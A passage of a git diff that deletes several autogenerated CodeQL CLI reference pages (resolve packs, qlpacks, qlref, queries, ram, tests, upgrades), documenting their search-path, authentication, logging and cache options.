`:`, use `path:` as a -prefix to the argument, like this: `path:directory/with:and@/chars`. - -If a `scope/name` and `path` are specified, then the `path` cannot be -absolute. It is considered relative to the root of the CodeQL pack. - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-packs.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-packs.md deleted file mode 100644 index 65559ce49483..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-packs.md +++ /dev/null @@ -1,165 +0,0 @@ ---- -title: resolve packs -intro: Display a list of available CodeQL packs and their locations. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli ---- - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve packs <options>... -``` - -## Description - -Display a list of available CodeQL packs and their locations. - -This command shows all of the locations searched for CodeQL packs, based -on the specified search path options. For each searched location, it -lists the packs that were found in that location. - -## Options - -### Primary Options - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--kind=<kind>` - -Specifies which kind of packages to return. Options are: `query`, -`library`, `extension`, and `all` (default). - -Note that extension packs are a kind of library pack and are included -when the kind is `library`. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -#### `--[no-]show-hidden-packs` - -Show which packs were hidden by a pack found earlier in the search. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-qlpacks.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-qlpacks.md deleted file mode 100644 index deadfcf3b46c..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-qlpacks.md +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: resolve qlpacks -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Create a list of installed QL packs and their locations. -redirect_from: - - /code-security/codeql-cli/manual/resolve-qlpacks ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve qlpacks <options>... -``` - -## Description - -\[Deprecated] Create a list of installed QL packs and their locations. - -This command is deprecated. Use the [codeql resolve packs](/code-security/codeql-cli/codeql-cli-manual/resolve-packs) command instead. - -This command creates a list of QL packs that can be resolved given the -configured (or given) search path. - -When run with JSON output selected, it can report multiple locations for -each pack name. When that happens, it means that the pack has -conflicting locations within a single search element, so it cannot -actually be resolved. The caller may use the actual locations to format -an error message. - -## Options - -### Primary Options - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--kind=<kind>` - -Specifies which kind of packages to return. Options are: `query`, -`library`, `extension`, and `all` (default). - -Note that extension packs are a kind of library pack and are included -when the kind is `library`. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -#### `--no-recursive` - -Do not recurse through dependencies. Only return packs directly -accessible from the `--additional-packs`, `--search-path`, and -distribution. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-qlref.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-qlref.md deleted file mode 100644 index a3b4058d4782..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-qlref.md +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: resolve qlref -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Deep plumbing] Dereferences a .qlref file to return a .ql one.' -redirect_from: - - /code-security/codeql-cli/manual/resolve-qlref ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve qlref <options>... -- <qlref> -``` - -## Description - -\[Deep plumbing] Dereferences a .qlref file to return a .ql one. - -Accepts a .qlref file and returns the .ql file that it points to. - -## Options - -### Primary Options - -#### `<qlref>` - -\[Mandatory] .qlref file to dereference. - -### Options to find libraries and extractors used by the tests - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--library-path=<dir>[:<dir>...]` - -\[Advanced] An optional list of directories that will be added to the -raw import search path for QL libraries. This should only be used if -you're using QL libraries that have not been packaged as QL packs. - -(Note: On Windows the path separator is `;`). - -#### `--dbscheme=<file>` - -\[Advanced] Explicitly define which dbscheme queries should be compiled -against. This should only be given by callers that are extremely sure -what they're doing. - -#### `--compilation-cache=<dir>` - -\[Advanced] Specify an additional directory to use as a compilation -cache. - -#### `--no-default-compilation-cache` - -\[Advanced] Don't use compilation caches in standard locations such as -in the QL pack containing the query or in the CodeQL toolchain -directory. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-queries.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-queries.md deleted file mode 100644 index 9d4664d6ac57..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-queries.md +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: resolve queries -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Deep plumbing] Expand query directories and suite specifications.' -redirect_from: - - /code-security/codeql-cli/manual/resolve-queries ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve queries <options>... -- <query|dir|suite|pack>... -``` - -## Description - -\[Deep plumbing] Expand query directories and suite specifications. - -This plumbing command is responsible for expanding the command-line -parameters of subcommands that can run multiple queries, to an actual -list of individual .ql files to execute. - -If run without any arguments, will display a help message including a -list of "well-known" query suite definitions found in available QL -packs to the standard error stream, and successfully return an empty -list of queries. - -## Options - -### Primary Options - -#### `<query|dir|suite|pack>...` - -\[Mandatory] Queries to execute. Each argument is in the form -`scope/name@range:path` where: - -* `scope/name` is the qualified name of a CodeQL pack. -* `range` is a semver range. -* `path` is a file system path. - -If a `scope/name` is specified, the `range` and `path` are optional. A -missing `range` implies the latest version of the specified pack. A -missing `path` implies the default query suite of the specified pack. - -The `path` can be one of a `*.ql` query file, a directory containing one -or more queries, or a `.qls` query suite file. If there is no pack name -specified, then a `path` must be provided, and will be interpreted -relative to the current working directory of the current process. - -To specify a `path` that contains a literal `@` or `:`, use `path:` as a -prefix to the argument, like this: `path:directory/with:and@/chars`. - -If a `scope/name` and `path` are specified, then the `path` cannot be -absolute. It is considered relative to the root of the CodeQL pack. - -#### `--format=<fmt>` - -Select output format. Choices include: - -`text` _(default)_: A line-oriented list of pathnames. - -`json`: A plain list of pathnames as strings. - -`bylanguage`: A richer JSON representation that groups queries by which -extractor they work with, as deduced from their library dependencies -- -this is slightly more expensive to compute. - -`installedpacks`: \[Deep plumbing] A JSON representation listing CodeQL -query packs that are referenced directly or inside of a query suite and -are not locally available. - -### Options for finding QL packs (which may be necessary to interpret query suites) - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-ram.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-ram.md deleted file mode 100644 index 0c6ccabe1206..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-ram.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: resolve ram -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Deep plumbing] Prepare RAM options.' -redirect_from: - - /code-security/codeql-cli/manual/resolve-ram ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve ram [--ram=<MB>] <options>... -``` - -## Description - -\[Deep plumbing] Prepare RAM options. - -This deep plumbing command prepares appropriate command-line options to -start a subcommand that will execute a QL query evaluator. It knows -appropriate heuristics for deciding whether to keep some of the -configured memory outside the Java heap. - -In particular, this should be used to find appropriate `-J-Xmx` and -`--off-heap-ram` options before staring a query server based on a -desired _total_ RAM amount. - -## Options - -### Primary Options - -#### `--format=<fmt>` - -Select output format. Choices include: - -`lines` _(default)_: Print command-line arguments on one line each. - -`json`: Print them as a JSON array. - -### Options from the invoking command's command line - -#### `-M, --ram=<MB>` - -The query evaluator will try hard to keep its total memory footprint -below this value. (However, for large databases it is possible that the -threshold may be broken by file-backed memory maps, which can be swapped -to disk in case of memory pressure). - -The value should be at least 2048 MB; smaller values will be -transparently rounded up. - -#### `--dataset=<directory>` - -\[Advanced] Tune the RAM settings appropriately for querying the given -dataset, taking into account components of RAM usage that scale with the -size of the database. If this is not given, a generic default size will -be assumed. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-tests.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-tests.md deleted file mode 100644 index 2f437f9931dc..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-tests.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: resolve tests -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Deep plumbing] Find QL unit tests in given directories.' -redirect_from: - - /code-security/codeql-cli/manual/resolve-tests ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve tests <options>... -- <test|dir>... -``` - -## Description - -\[Deep plumbing] Find QL unit tests in given directories. - -This plumbing command is responsible for expanding the command-line -parameters of subcommands that run QL unit tests, to an actual list of -individual .ql and .qlref files to execute. - -## Options - -### Primary Options - -#### `<test|dir>...` - -Each argument is one of: - -* A `.ql` or `.qlref` file that defines a test to run. -* A directory which will be searched recursively for tests to run. - -#### `--slice=<N/M>` - -\[Advanced] Divide the test cases into _M_ roughly equal-sized slices -and process only the _N_th of them. This can be used for manual -parallelization of the testing process. - -#### `--[no-]strict-test-discovery` - -\[Advanced] Only use queries that can be strongly identified as tests. -This mode tries to distinguish between `.ql` files that define unit -tests and `.ql` files that are meant to be useful queries. This option -is used by tools, such as IDEs, that need to identify all unit tests in -a directory tree without depending on previous knowledge of how the -files in it are arranged. - -Within a QL pack whose `qlpack.yml` declares a `tests` directory, all -`.ql` files in that directory are considered tests, and `.ql` files -outside it are ignored. In a QL pack that doesn't declare a `tests` -directory, a `.ql` file is identified as a test only if it has a -corresponding `.expected` file. - -For consistency, `.qlref` files are limited by the same rules as `.ql` -files even though a `.qlref` file cannot really be a non-test. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/resolve-upgrades.md b/content/code-security/codeql-cli/codeql-cli-manual/resolve-upgrades.md deleted file mode 100644 index bc953c5cab53..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/resolve-upgrades.md +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: resolve upgrades -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Deep plumbing] Determine upgrades to run for a raw dataset.' -redirect_from: - - /code-security/codeql-cli/manual/resolve-upgrades ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql resolve upgrades --dbscheme=<file> <options>... -``` - -## Description - -\[Deep plumbing] Determine upgrades to run for a raw dataset. - -Determine which upgrades need to be performed on a particular raw QL -dataset to bring it up to the state of the configured QL libraries. This -computation is part of what happens during an ordinary database upgrade, -and is exposed as a separate plumbing command in order to (a) help with -troubleshooting, and (b) provide a starting point for modifying the path -in extraordinary cases where exact control is needed. - -## Options - -### Primary Options - -#### `--dbscheme=<file>` - -\[Mandatory] The _current_ dbscheme of the dataset we want to upgrade. - -#### `--format=<fmt>` - -Select output format. Choices include: - -`lines` _(default)_: Print upgrade scripts on one line each. - -`json`: Print a JSON array of upgrade script paths. - -#### `--just-check` - -Don't print any output, but exit with code 0 if there are upgrades to -do, and code 1 if there are none. - -### Options from the invoking command's command line - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs containing upgrade recipes -may be found. Each directory can either be a QL pack (or bundle of packs -containing a `.codeqlmanifest.json` file at the root) or the immediate -parent of one or more such directories. - -If the path contains directories trees, their order defines precedence -between them: if a pack name that must be resolved is matched in more -than one of the directory trees, the one given first wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -\[Advanced] If this list of directories is given, they will be searched -for upgrades before the ones in `--search-path`. The order between these -doesn't matter; it is an error if a pack name is found in two different -places through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--target-dbscheme=<file>` - -The _target_ dbscheme we want to upgrade to. If this is not given, a -maximal upgrade path will be constructed - -#### `--target-sha=<sha>` - -\[Advanced] An alternative to `--target-dbscheme` that gives the -internal hash of the target dbscheme instead of the dbscheme file. - -#### `--[no-]allow-downgrades` - -Include any relevant downgrades if there are no upgrades - -### Common options - -#### `-h, 